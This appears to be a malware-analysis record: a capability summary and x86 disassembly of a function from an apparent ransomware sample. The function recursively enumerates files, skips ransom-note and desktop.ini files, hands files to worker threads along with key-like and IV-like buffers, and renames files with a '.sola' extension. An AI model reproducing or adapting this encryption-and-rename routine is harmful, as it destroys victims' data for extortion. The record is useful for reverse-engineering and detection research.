Function at 0x401420
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x568], 0
mov eax, dword [ebp + 8]
push eax
push str._s
push 0x200
lea ecx, [ebp - 0x404]
push ecx
call fcn.00401e10
add esp, 0x10
lea edx, [ebp - 0x550]
push edx
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0xffffffff
jne 0x401482
jmp 0x4016b6
push 0x422154
lea ecx, [ebp - 0x524]
push ecx
call fcn.004054a0
add esp, 8
test eax, eax
je 0x4014b2
push 0x422158
lea edx, [ebp - 0x524]
push edx
call fcn.004054a0
add esp, 8
test eax, eax
jne 0x4014b7
jmp 0x401678
lea eax, [ebp - 0x524]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s
push 0x200
lea edx, [ebp - 0x204]
push edx
call fcn.00401e10
add esp, 0x14
mov eax, dword [ebp - 0x550]
and eax, 0x10
je 0x401506
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.00401420
add esp, 0x10
jmp 0x401678
cmp dword [ebp + 0x14], 0
jne 0x401587
call fcn.004016d0
test eax, eax
je 0x401582
push 0x34
call fcn.0040572f
add esp, 4
mov dword [ebp - 0x554], eax
lea edx, [ebp - 0x204]
push edx
call fcn.0040552c
add esp, 4
mov ecx, dword [ebp - 0x554]
mov dword [ecx], eax
push 0x20
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x554]
add eax, 4
push eax
call fcn.00402bb0
add esp, 0xc
push 0x10
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x554]
add edx, 0x24
push edx
call fcn.00402bb0
add esp, 0xc
mov eax, dword [ebp - 0x554]
push eax
push 0
push 0x401b10
call fcn.00408f39
add esp, 0xc
jmp 0x401678
cmp dword [ebp + 0x14], 1
jne 0x401678
mov dword [ebp - 0x410], str.README.txt
mov dword [ebp - 0x40c], str.desktop.ini
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x558], 0
jmp 0x4015d4
mov ecx, dword [ebp - 0x558]
add ecx, 1
mov dword [ebp - 0x558], ecx
mov edx, dword [ebp - 0x558]
cmp dword [ebp + edx*4 - 0x410], 0
je 0x401613
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp + eax*4 - 0x410]
push ecx
lea edx, [ebp - 0x524]
push edx
call fcn.0040563b
add esp, 8
test eax, eax
jne 0x401611
mov dword [ebp - 0x560], 1
jmp 0x401613
jmp 0x4015c5
push 0x2e
lea eax, [ebp - 0x204]
push eax
call fcn.00403130
add esp, 8
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x560], 0
jne 0x401678
cmp dword [ebp - 0x564], 0
je 0x401654
push 0x42217c
mov ecx, dword [ebp - 0x564]
push ecx
call fcn.0040563b
add esp, 8
test eax, eax
je 0x401678
push str..sola
lea edx, [ebp - 0x204]
push edx
call fcn.004053b0
add esp, 8
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.004066ea
add esp, 8
lea ecx, [ebp - 0x550]
push ecx
mov edx, dword [ebp - 0x55c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401482
mov eax, dword [ebp - 0x55c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x568], 0
jne 0x4016b6
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401b60
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret